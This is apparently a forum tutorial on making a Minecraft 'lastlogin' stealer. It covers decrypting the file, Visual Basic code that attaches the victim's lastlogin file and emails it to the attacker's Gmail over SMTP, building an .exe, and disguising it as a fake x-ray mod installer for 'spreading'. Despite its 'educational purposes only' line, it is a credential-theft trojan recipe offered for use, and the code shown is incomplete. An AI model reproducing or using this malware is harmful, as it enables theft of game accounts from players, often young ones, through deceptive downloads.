This is for educational purposes only.
Okay, so today I am gonna tell you how to make a last login stealer.
What you will need.
A gmail account to sent the files to (prefered)
Visual Basic (Express 2010 prefered, WILL show where to download in tut)
First, if you open up run from your start menu and write the following:
You will be taken to the Minecraft file folder. Look for the lastlogin file.
It should look something like this:
Now, if you wanted to open this the most normal thing to do is to open it in notepad. But as you can see below, we will just get something like this.
As we can see, it is crypted.
Now, in order to decrypt I found a decrypter online which you can download here.
Unpack it to your desktop or something like that, and drag the lastlogin file into the folder. Now click on start.bat, and it will open cmd and decryt it.
Now for the coding part.
First, you need Visual Basic. Personally I prefer Visual Basic 2010 Express, which can be downloaded here.
Now open up VB, and press file, and New Project.
Here you choose Windows Forms Application.
REMEMBER to change the name of your program!!
Okay, now first you can change the text in the right corner, and add a button.
Now, you can change the text aswell at the button in the same way we did with the program window.
Dobble click the button and you will get a code window up.
This is the code that controls the button.
Now we are going to add the code that steals the lastlogin file.
Mark everything on the page and delete it.
Add the code from below to the page.
[I DID NOT WRITE THIS CODE ALL CREDITS GO TO THE ORIGINAL PROGRAMMER]
Public Class Form1
Dim smtp As New SmtpClient
Dim mail As New MailMessage
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.Subject = ("LastLoginFile")
MyMailMessage.Body = (" ")
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "Password")
Catch ex As Exception
Now it should look something like this.
Where it says [email protected]
, you should change it to your gmail.
Where it says Password you should enter your gmail password.
Now, if you have done all of these things right, you should be ready to make a .exe file and start spreading!
This is done by clicking build in the toolbar at the top, and then click build agian. Now it has made a .exe file in the folder where you saved the project.
In my case it is in C:\Users\User\AppData\Local\Temporary Projects\WindowsApplication1\bin\Release.
Here is a picture of the folder and the program open.
If you want someone to download and use your program you should change the design. A good idea is to fake a auto mod installer, for x-ray or something like that. Change the background to a Minecraft picture, and the button to say Install or something like that.